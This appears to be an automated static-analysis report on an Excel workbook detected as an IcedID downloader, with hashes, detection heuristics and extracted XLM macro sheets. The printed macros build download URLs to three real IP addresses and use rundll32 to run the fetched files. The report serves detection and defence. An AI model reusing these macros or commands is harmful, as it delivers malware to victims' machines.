IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 f9fa2b208cc4f59e…

MALICIOUS

Office (OOXML)

170.9 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-22
MD5: da8077a80395fb7d6354d45760335b43 SHA-1: 7cbe3664129f032909dec8a8ee69a95096ed5eee SHA-256: f9fa2b208cc4f59e128a0ec5c901d8e6e949a9709d30704fe499c4faef0e65bd
250 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The file contains critical heuristic firings indicating Excel 4.0 macro sheets with dangerous functions like FORMULA, GOTO, and HALT, which are used to download and execute payloads. The embedded DOC BODY explicitly shows calls to REGISTER and EXEC functions, reconstructing the command 'rundll32 ..\lertio.cersw,DllRegisterServer' and 'rundll32 ..\lertio.cersw1,DllRegisterServer', indicating the download and execution of a second-stage payload. The ClamAV detection also confirms this as an IcedID downloader.

Heuristics 6

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (6 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, GOTO, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 6 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1190 bytes
SHA-256: e26278d9df62929caddc39c2675d1a93c805965a35896b4c4240468b728373e2
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0000-000000000000}"><dimension ref="A1"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="2"/></cols><sheetData/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><drawing r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 2902 bytes
SHA-256: 5f4ba7159c1da7e493848f74e3669405dc7409a06e720ced64dc3eb8a5827a76
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="C20:G35"/><sheetViews><sheetView showFormulas="1" topLeftCell="A4" workbookViewId="0"><selection activeCell="A4" sqref="A4"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="8.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.5703125" style="1"/></cols><sheetData><row r="20" spans="3:7" x14ac:dyDescent="0.25"><c r="F20" s="1" t="b"><f>FORMULA(Sheet000!P16,F27)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="3:7" x14ac:dyDescent="0.25"><c r="F23" s="1" t="str"><f>NOW()&amp;".dat"</f><v>44329,6550195602.dat</v></c></row><row r="25" spans="3:7" x14ac:dyDescent="0.25"><c r="C25" s="1" t="s"><v>4</v></c></row><row r="26" spans="3:7" x14ac:dyDescent="0.25"><c r="C26" s="1" t="s"><v>6</v></c></row><row r="27" spans="3:7" x14ac:dyDescent="0.25"><c r="C27" s="1" t="s"><v>5</v></c><c r="G27" s="1" t="str"><f>"htt"</f><v>htt</v></c></row><row r="28" spans="3:7" x14ac:dyDescent="0.25"><c r="C28" s="1" t="s"><v>15</v></c><c r="E28" s="1" t="str"><f>"195.123.220.142/"</f><v>195.123.220.142/</v></c><c r="F28" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E28&amp;F23,"..\lertio.cersw",0,0)</f><v>#NAME?</v></c><c r="G28" s="1" t="s"><v>11</v></c></row><row r="29" spans="3:7" x14ac:dyDescent="0.25"><c r="C29" s="1" t="s"><v>14</v></c><c r="E29" s="1" t="str"><f>"185.141.27.180/"</f><v>185.141.27.180/</v></c><c r="F29" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E29&amp;F23,"..\lertio.cersw1",0,0)</f><v>#NAME?</v></c></row><row r="30" spans="3:7" x14ac:dyDescent="0.25"><c r="C30" s="1" t="s"><v>1</v></c><c r="E30" s="1" t="str"><f>"190.14.37.72/"</f><v>190.14.37.72/</v></c><c r="F30" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E30&amp;F23,"..\lertio.cersw2",0,0)</f><v>#NAME?</v></c></row><row r="31" spans="3:7" x14ac:dyDescent="0.25"><c r="C31" s="1" t="s"><v>0</v></c></row><row r="35" spans="6:6" x14ac:dyDescent="0.25"><c r="F35" s="1" t="e"><f>GOTO(Sheet2!H13)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 2297 bytes
SHA-256: f29a49c753318e85f442bed44c64f292c1b7fd6c5ed8b8668c3938c69145161e
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="H19:L31"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="8.140625" style="1"/><col min="8" max="9" width="8.140625" style="1" customWidth="1"/><col min="10" max="16384" width="8.140625" style="1"/></cols><sheetData><row r="19" spans="8:12" x14ac:dyDescent="0.25"><c r="H19" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J18&amp;Sheet000!J19,H25)=PI()=PI()=PI()</f><v>0</v></c><c r="J19" s="1" t="s"><v>4</v></c></row><row r="20" spans="8:12" x14ac:dyDescent="0.25"><c r="J20" s="1" t="s"><v>12</v></c></row><row r="21" spans="8:12" x14ac:dyDescent="0.25"><c r="J21" s="1" t="s"><v>13</v></c></row><row r="22" spans="8:12" x14ac:dyDescent="0.25"><c r="J22" s="1" t="s"><v>7</v></c><c r="K22" s="1" t="s"><v>10</v></c><c r="L22" s="1" t="s"><v>9</v></c></row><row r="23" spans="8:12" x14ac:dyDescent="0.25"><c r="J23" s="1" t="s"><v>8</v></c></row><row r="24" spans="8:12" x14ac:dyDescent="0.25"><c r="J24" s="1" t="s"><v>3</v></c></row><row r="25" spans="8:12" x14ac:dyDescent="0.25"><c r="J25" s="1" t="s"><v>2</v></c></row><row r="31" spans="8:12" x14ac:dyDescent="0.25"><c r="H31" s="1" t="e"><f>GOTO(Sheet3!G2)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1477 bytes
SHA-256: 966a712c4f0f0d2f58ef2ea09ca169fd5d5278d9396ce226e09ea14a32d1074e
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1155E9B9-B0CD-42F9-A966-3A754062B27E}"><dimension ref="G16:G23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.140625" style="1"/></cols><sheetData><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J21&amp;Sheet000!J19,G19)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="7:7" x14ac:dyDescent="0.25"><c r="G23" s="1" t="e"><f>GOTO(Sheet4!G5)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1451 bytes
SHA-256: 84368b896055b80ba37112653973d9ab4ada45ec06389956e8791ed998edcdc5
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{8D29E0F2-14A8-4D3C-A016-AA1287FA05D1}"><dimension ref="G16:G23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8" style="1"/></cols><sheetData><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J22&amp;Sheet000!J19,G19)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="7:7" x14ac:dyDescent="0.25"><c r="G23" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1476 bytes
SHA-256: 68e2eada477a01dd45889d7781ac27297df589224a5824d7ff63a37df7f5bc75
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{65E179ED-D9FF-4EED-BC75-2D2CB5EF5CA2}"><dimension ref="A10:A15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="A2" sqref="A2"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="10" spans="1:1" x14ac:dyDescent="0.25"><c r="A10" s="1" t="b"><f>ON.TIME(NOW()+"00:00:02","Hot")</f><v>0</v></c></row><row r="15" spans="1:1" x14ac:dyDescent="0.25"><c r="A15" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>